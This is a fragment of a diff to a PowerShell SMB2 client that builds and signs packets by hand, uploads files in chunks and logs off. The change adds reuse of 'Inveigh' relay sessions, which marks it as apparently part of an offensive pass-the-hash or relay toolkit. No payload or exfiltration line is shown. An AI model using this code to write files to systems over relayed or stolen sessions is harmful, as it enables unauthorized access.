$null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - if($write_request_step -lt $source_file_size_quotient) - { + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - if(!$NoProgress) + if($inveigh_session -and !$Logoff) + { + $stage = 'Exit' + } + else { - $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) - Write-Progress -Activity "Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + $stage = 'Logoff' } - $write_request_offset+=65536 - $write_request_step++ - $SMB_client_stage = 'WriteRequest' } - elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) - { - $write_request_length = $source_file_size_remainder - $write_request_offset+=65536 - $write_request_step++ - $SMB_client_stage = 'WriteRequest' - } - else + + 'WriteRequest' { - $action_step++ - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x04 - $set_info_request_buffer = $source_file_creation_time + - $source_file_last_access_time + - $source_file_last_write_time + - $source_file_last_change_time + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 if(!$Modify) { - $SMB_client_stage = 'SetInfoRequest' + $source_file_binary_reader.BaseStream.Seek($write_request_offset,"Begin") > $null + $source_file_binary_reader.Read($source_file_buffer,0,$source_file_buffer_size) > $null } else { - $output_message = "File uploaded from memory" - $SMB_client_stage = 'CloseRequest' + $source_file_buffer = $Source[$write_request_offset..($write_request_offset+$write_request_length)] } + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_header["CreditCharge"] = 0x01,0x00 + $packet_SMB2_data = New-PacketSMB2WriteRequest $write_request_length $write_request_offset $file_ID $source_file_buffer + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - } + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } - } + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - 'TreeDisconnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($write_request_step -lt $source_file_size_quotient) + { - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + if(!$NoProgress) + { + $percent_complete_calculation = [Math]::Truncate($write_request_step / $percent_complete * 100) + Write-Progress -Activity "[*] Uploading $source_file - $progress_file_size" -Status "$percent_complete_calculation% Complete:" -PercentComplete $percent_complete_calculation + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Logoff' - } + $write_request_offset+=65536 + $write_request_step++ + $stage = 'WriteRequest' + } + elseif($write_request_step -eq $source_file_size_quotient -and $source_file_size_remainder -ne 0) + { + $write_request_length = $source_file_size_remainder + $write_request_offset+=65536 + $write_request_step++ + $stage = 'WriteRequest' + } + else + { + $action_step++ + $set_info_request_file_info_class = 0x01 + $set_info_request_info_level = 0x04 + $set_info_request_buffer = $source_file_creation_time + + $source_file_last_access_time + + $source_file_last_write_time + + $source_file_last_change_time + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 - 'Logoff' - { - $SMB2_message_ID += 20 - $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 0x7f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } - - $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if(!$Modify) + { + $stage = 'SetInfoRequest' + } + else + { + $output_message = "[+] File uploaded from memory" + $stage = 'CloseRequest' + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } + } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'Exit' + } + } - + } - + } } - + catch + { + Write-Output "[-] $($_.Exception.Message)" } finally { @@ -2642,8 +2914,19 @@ if($SMB_client.Connected) $source_file_stream.Close() } - $SMB_client.Close() - $SMB_client_stream.Close() + if($inveigh_session -and $Inveigh) + { + $inveigh.session_lock_table[$session] = 'open' + $inveigh.session_message_ID_table[$session] = $message_ID + $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s} + } + + if(!$inveigh_session -or $Logoff) + { + $client.Close() + $client_stream.Close() + } + } } |